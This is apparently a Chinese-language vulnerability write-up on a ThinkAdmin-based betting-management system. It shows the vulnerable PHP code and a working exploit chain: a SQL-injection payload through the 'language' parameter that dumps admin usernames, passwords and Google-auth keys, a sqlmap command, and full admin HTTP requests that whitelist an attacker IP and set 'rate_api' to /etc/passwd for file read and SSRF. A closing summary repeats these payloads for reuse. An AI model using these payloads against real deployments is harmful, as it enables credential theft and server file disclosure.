写在前面
在实战中遇到的一套源码,感觉有洞,遂决定锻炼下代码阅读能力,不足的地方,请各位师傅指正。
系统简介
由thinkadmin v5基于thinkphp5.1.39开发的投注管理系统。
开发语言:PHP
开发框架:Thinkadmin(thinkphp5.1.39LTS)
代码分析
SQL注入
注入点代码如下,其中参数“language”可控。
public function item_class()
{
$params = $this->request->param();
$language = $params["language"];
$classes = Db::name('LcItemClass')->field("id,$language as title")->order('sort asc,id desc')->select();
$this->success("success", ['classes' => $classes]);
}
1.访问“index/index/set_currency_price”路由设置language参数为“1'”,报错点在“SELECT id,1'”。完整的SQL语句如下:
SELECT id,1' as title FROM `lc_item_class` ORDER BY `sort` ASC,`id` DESC
2.那么可以尝试获取管理员用户表的字段信息,设置language参数为“username,password,google_key from `system_user`--+”,那么完整的语句应该是如下:
SELECT id,username,password,google_key from `system_user`--+ as title FROM `lc_item_class` ORDER BY `sort` ASC,`id` DESC
成功注出管理员信息。
sqlmap也能直接跑。
python sqlmap.py -u http://xxx.xxx.xxx/api/index/item_class?language= --batch --random-agent
后台文件读取/SSRF
漏洞代码如下:
public function set_currency_price(){
//判断ip白名单
if(strstr(getInfo("task_ip"),$this->request->ip())){
$req_url = getInfo('rate_api');
$response_json = file_get_contents($req_url);
if(false !== $response_json) {
$response = json_decode($response_json);
if('success' === $response->result) {
$currency = $response->conversion_rates;
$currencies = Db::name('LcCurrency')->where(['type' => 2])->select();
foreach ($currencies as $k => $v) {
$name = $v['name'];
$update = ['price' => $currency->$name];
$this->updateCurrencyByName($name,$update);
}
echo("success");
}else{
echo($currency->result);
}
}else{
echo("failed");
}
}else{
echo("IP does not support");
}
}
getinfo($value)函数表示从lc_info表中获取对应$value字段的值,代码如下:
function getInfo($value){
return Db::name('LcInfo')->where('id', 1)->value($value);
}
strstr(getInfo("task_ip"),$this->request->ip())意为,getInfo("task_ip")从数据库中获取白名单IP,$this->request->ip()获取攻击机IP(公网,这里测试过X-Forword-For不能用),strstr()函数比对攻击机IP是否在白名单内。条件符合则进入:
$req_url = getInfo('rate_api');
$response_json = file_get_contents($req_url);
getInfo('rate_api')表示从数据库中获取地址,然后file_get_contents($req_url)去获取地址中的内容。获取成功进入下面代码:
$response = json_decode($response_json);
由于这里匹配json字符串,读取到的文件非json,所以if('success' === $response->result)通过不了,直接进入echo($currency->result);将报错信息打印。
后面分析到getInfo("task_ip")中的task_ip字段,可在后台“系统管理->网站配置->编辑”(/admin.html#/admin/info/set.html?id=1&spm=m-2-91-92),设置“宝塔计划任务白名单IP”为你的攻击机公网IP地址。
参数为“task_ip”,数据包如下:
POST /admin/info/set.html?id=1&spm=m-2-91-92 HTTP/1.1
Host: xxx.xxx.xxx
Connection: close
Content-Length: 774
sec-ch-ua: "(Not(A:Brand";v="99", "Chromium";v="114", "Google Chrome";v="114"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/114.0.5844.208 Chrome/114.0.5844.208 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://xxx.xxx.xxx
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://xxx.xxx.xxx/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
webname=%E4%BB%85%E4%BE%9B%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%EF%BC%8C%E7%A6%81%E6%AD%A2%E7%94%A8%E4%BA%8E%E9%9D%9E%E6%B3%95%E7%94%A8%E9%80%94&phone_register=0&invite_code=0&invite_level=999&auth_phone=1&auth_email=1&auth_google=1&funding_need_auth=4&auto_lang=0&num_ip=5&recharge_need_flow=1&reward_need_flow=0&check_address=0&back_google=0&back_limit=0&white_ip=0.0.0.0&ban_ip=&domain=http%3A%2F%2Fgoogle.com&domain_api=http%3A%2F%2Fxxx.xxx.xxx%2F&task_ip=127.0.0.1&logo_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&logo_img2=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fbfa08a14cc08ef71%2F75d89d18b1ee0886.png&user_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&id=1
getInfo('rate_api')中的rate_api字段,在“系统管理->语言/货币管理->编辑汇率API”(/admin.html#/admin/currency/index.html?spm=m-2-91-123),设置“汇率API”为需要读取的文件。
参数为“rate_api”,数据包如下:
POST /admin/currency/api.html?id=1&spm=m-2-91-123&open_type=modal HTTP/1.1
Host: xxx.xxx.xxx
Connection: close
Content-Length: 55
sec-ch-ua: "(Not(A:Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0/RbC6NowL7lQzw
sec-ch-ua-platform: "Windows"
Origin: http://xxx.xxx.xxx
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://xxx.xxx.xxx/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
rate_api=/etc/passwd&id=1&_token_=csrf657a76cb013fb
访问下面链接查看网页源代码即可。
http://xxx.xxx.xxx/index/index/set_currency_price
将“汇率API”设置成“https://www.baidu.com/”,成功请求了百度。
漏洞总结
SQL注入
# 管理员信息payload
/api/index/item_class
POST:language=username,password,google_key from `system_user`--+
# sqlmap工具注入命令
python sqlmap.py -u http://xxx.xxx.xxx/api/index/item_class?language= --batch --random-agent
POST /admin/info/set.html?id=1&spm=m-2-91-92 HTTP/1.1
Host: xxx.xxx.xxx
Connection: close
Content-Length: 774
sec-ch-ua: "(Not(A:Brand";v="99", "Chromium";v="114", "Google Chrome";v="114"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/114.0.5844.208 Chrome/114.0.5844.208 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://xxx.xxx.xxx
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://xxx.xxx.xxx/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
webname=%E4%BB%85%E4%BE%9B%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%EF%BC%8C%E7%A6%81%E6%AD%A2%E7%94%A8%E4%BA%8E%E9%9D%9E%E6%B3%95%E7%94%A8%E9%80%94&phone_register=0&invite_code=0&invite_level=999&auth_phone=1&auth_email=1&auth_google=1&funding_need_auth=4&auto_lang=0&num_ip=5&recharge_need_flow=1&reward_need_flow=0&check_address=0&back_google=0&back_limit=0&white_ip=0.0.0.0&ban_ip=&domain=http%3A%2F%2Fgoogle.com&domain_api=http%3A%2F%2Fxxx.xxx.xxx%2F&task_ip=127.0.0.1&logo_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&logo_img2=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fbfa08a14cc08ef71%2F75d89d18b1ee0886.png&user_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&id=1
POST /admin/currency/api.html?id=1&spm=m-2-91-123&open_type=modal HTTP/1.1
Host: xxx.xxx.xxx
Connection: close
Content-Length: 55
sec-ch-ua: "(Not(A:Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0/RbC6NowL7lQzw
sec-ch-ua-platform: "Windows"
Origin: http://xxx.xxx.xxx
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://xxx.xxx.xxx/admin.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
rate_api=/etc/passwd&id=1&_token_=csrf657a76cb013fb
/index/index/set_currency_price